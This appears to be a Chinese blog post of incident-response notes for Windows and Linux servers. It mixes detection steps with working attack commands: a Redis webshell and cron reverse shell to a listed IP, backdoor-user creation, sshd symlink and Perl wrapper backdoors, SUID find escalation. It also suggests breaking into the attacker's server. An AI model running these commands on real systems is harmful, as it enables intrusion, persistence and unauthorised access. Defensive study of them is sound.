应急响应简单总结

windows

1、系统账户排查

net user列出所有用户,进行可疑账号排查。 win + r 输入 lusrmgr.msc。

**2、检查异常端口 **

netstat -ano

3、检查可疑进程和服务

tasklist

4、可疑启动项排查

msconfig

5、查看登录日志

eventvwr.msc

6、恶意样本排查

linux

1、查看用户信息

查看用户的账号文件信息 cat/etc/passwd

用于储存在linux系统中用户的密码信息 cat/etc/shadow

2、查看历史命令

history

3、检查异常端口的进程,杀死进程

检查异常端口 netstat -tunlp

检查异常进程 ps aux

杀死进程 kill -9 PID号

4、检查linux的启动项和系统的定时任务

crontab -l crontab查看是否有异常的任务编写进来

5、检查linux的日志信息

/var/log目录下的一些系统日志信息、安全日志信息等。

6、/etc/rc.d/rc.local

这个文件是配置开机脚本的

1)首先判断服务器资产、影响范围以及严重程度,确认有没有必要将服务器下线隔离,然后根据服务器的失陷时间和态势感知的告警,判断是由什么漏洞进来的
2)其次就是取证排查阶段,如果是web漏洞,就是查看web日志,根据失陷时间节点往上排查是否上传webshell;
再查看后门是否有恶意的命令执行、文件上传。如果有恶意的文件比如说.exe,可以放到一些微步社区平台分析;
如果是webshell的话,可以用d盾、河马进行查杀。

apache的web访问日志通常位于**/var/log/httpd/access_log**

nginx的web访问日志通常位于nginx主目录下**/logs/access.log**。也可通过查看web服务器的配置文件获得web访问日志文件的实际路径。3)接下来可以通过其他主机查看是否有相同的攻击迹象,然后排查是否有可疑的进程、端口、自启动项,可以用火绒剑查看有没有异常外联
4)然后就是进行攻击路径的还原,可以通过对日志、流量进行分析、确定他的攻击路径,然后判断出他的漏洞点并切断他的攻击路径
5)此时可以再观察一段时间,看有没有流量反连、有没有内存马
6)后面可以根据样本分析到的ip地址进行信息收集,进行常规的溯源,查看是否有个人id泄漏、社交平台搜索其个人信息、利用蜜罐系统反制等手段绘制攻击者画像
7)若无则尝试是否能够打进其服务器,比如说常见的cs反制,可以爆破攻击者cs服务器密码,或者利用cs漏洞拿到攻击者服务器权限,进一步获取攻击者信息

日志分析,根据设备报警时间进行查看相应时间点的访问日志,查看可疑IP,UA头等信息

下图这是一个.NET内存码检测工具,只能检测ASP.NET

在这里插入图片描述

Redis应急

定时任务命令:

crontab -l

redis的攻击手法中也有利用ssh-keygen 公钥登录服务器的方式

原理

SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。

当redis以root身份运行,可以给root账户写入ssh公钥权限,直接通过ssh登录服务器,
在攻击机中申生成ssh公钥和私钥,密码设为空。也就是说会向靶机上写入ssh密钥,我们查看一下靶机的/root/.ssh,确实有一个被写入的公钥authorized_keys。

cd /usr/bin 这里存放linux 命令。

redis攻击方式

Redis未授权漏洞复现及利用(window,linux)_windows下redis未授权访问漏洞修复-CSDN博客

(1)未授权访问

redis-cli连上,写webshell。

config get dir #查看redis数据库路径
config set dir /root/redis-2.8.17# #修改靶机Redis数据库路径
config set dbfilename 22.php #生成22.php文件
set xxx "\r\n\r\n<?php phpinfo();?>\r\n\r\n"#将一句话木马写入文件中
#"\r\n\r\n"是换行的意思,用redis写入文件会自带一些版本信息,如果不换行可能导致无法执行。
set xxx "\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n"#上传木马可以通过蚁剑连接
save#保存

(2)利用redis漏洞ssh密钥连接

ssh密钥连接

大家都知道可以通过ssh远程登录另外一台电脑。ssh登录有两种一个是密码登录,一个是密钥登录我们主要看密钥登录是什么流程,公钥登录是为了解决每次登录服务器都要输入密码的问题,流行使用RSA加密方案,主要流程包含:

1、客户端生成RSA公钥和私钥

2、客户端将自己的公钥存放到服务器

3、客户端请求连接服务器,服务器将一个随机字符串发送给客户端

4、客户端根据自己的私钥加密这个随机字符串之后再发送给服务器

5、服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。

(3)利用crontab反弹shell

首先大家要知道crontab是什么,主要是用来定时执行某些任务,如果我们把一些命令放入指定文件里面,那么程序会定时去执行,相当于是每隔一段时间自动执行命令,不用担心当我们关闭会话或者目标主机关机,这个对我们后期持久化渗透是很有帮助的。

上传反弹shell命令

需要定位到我们需要的文件路径下,因为在/var/spool/cron/crontabs/下如果文件名是root,那么会定时执行里面的命令。这个目录不同操作系统是不一样我的是debain的。具体步骤如下:

redis-cli.exe -h 192.168.43.141
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.43.102/8888 0>&1\n\n"
#前面五个星号分别表示 分 时 天 月 周 一般用于具体的定时时间。后面就是执行的命令。\n\n是换行前面已经说过,因为redis会出现乱码,可以通过上传的root文件看到有乱码。
save
MySQL应急

应急响应之MySQL日志分析 - FreeBuf网络安全行业门户

权限维持

一句话添加用户和密码

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
 
# useradd -p 方法  ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
	
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
	
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test

可疑用户排查技巧:

# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"

4、软连接

在目标服务器上执行一句话后门:

ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888

执行完之后,任何一台机器ssh root@IP -p 8888,输入任意密码,成功登录。

排查技巧:进程、端口都可以发现异常, kill -s 9 PID 结束进程即可清除后门。

SSH wrapper

简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart

客户端:

socat STDIO TCP4:target_ip:22,sourceport=13377
 
#如果你想修改源端口,可以用python的struct标准库实现。其中x00x00LF是19526的大端形式,便于传输和处理。
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A

排查技巧

# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd
可通过重装ssh服务恢复。

crontab反弹shell

crontab命令用于设置周期性被执行的指令。新建shell脚本,利用脚本进行反弹。

a、创建shell脚本,例如在/etc/evil.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.28.131/12345  0>&1

chmod +sx /etc/evil.sh

b、crontab -e 设置定时任务

#每一分钟执行一次
*/1 * * * * root /etc/evil.sh

重启crond服务,service crond restart,然后就可以用nc接收shell。

排查技巧:

# 查看可疑的定时任务列表
crontab -e

openssh后门

利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。

黑客提权应急

查找隐藏文件使用find命令

find / -name ".*"

用于查找系统上所有设置了 SUID 位的文件的命令:

find / -perm -u=s -type f 2>/dev/null
  • find /: 从根目录开始查找。
  • -perm -u=s: 查找文件权限中包含 SUID 位(即,用户执行该文件时将获得该文件所有者的权限)。
  • -type f: 只查找文件(不包括目录)。
  • 2>/dev/null: 将标准错误输出重定向到 /dev/null,以避免显示权限不足等错误信息。

利用find命令提权

find 命令设置了 SUID 位,并且该命令存在已知漏洞或不当配置,攻击者可以利用它来执行任意命令,从而提升权限。以下是一个利用 SUID find 进行提权的示例:

/usr/bin/find . -exec /bin/sh \; -quit

find 将在当前目录(.)搜索,并使用 -exec选项执行/bin/sh(一个新的 shell)。因为 find` 具有 SUID 位,这个 shell 将以 root 权限运行。

liunx下/opt目录是存放安装第三方软件和应用程序,通常将 /opt 目录用于存放可选的、占用空间较大的第三方软件和应用程序。这些程序通常不是系统自带的,也不是通过系统包管理器(如apt、yum等)安装的。

网络安全应急演练脚本excel可以是一个用于记录和管理网络安全应急演练的电子表格文件。下面是一个简单网络安全应急演练脚本excel的示例: 第一列:演练时间 在这一列中记录演练的具体日期和时间。 第二列:演练主题 在这一列中记录演练的主题,例如“模拟网络攻击”或“数据泄露应急处理”。 第三列:演练目标 在这一列中记录该次演练的具体目标,例如“测试员工对网络攻击的应对能力”或“评估系统在遭受数据泄露时的应急响应机制”。 第四列:演练过程 在这一列中记录演练的具体步骤和流程。可以按照时间顺序,详细记录演练的各个阶段,例如“第一阶段:模拟网络攻击,测试员工反应”或“第二阶段:测试数据泄露的发现和封堵”。 第五列:演练结果和评估 在这一列中记录演练的结果和评估。可以记录实际发生的情况,例如“模拟网络攻击成功入侵了系统”或“数据泄露被及时发现,并成功封堵”。 第六列:问题和建议 在这一列中记录演练过程中出现的问题和相应的建议。可以详细记录演练中发现的薄弱环节和需要改进的地方,例如“员工对网络攻击的识别能力需要提升”或“数据泄露的预防措施需要加强”。 总结: 通过使用网络安全应急演练脚本excel,可以有效地记录和管理网络安全应急演练的相关信息。这有助于组织和参与者了解演练的目标和过程,及时总结演练结果并提出改进措施,提高网络安全防护能力,减少安全事件的风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值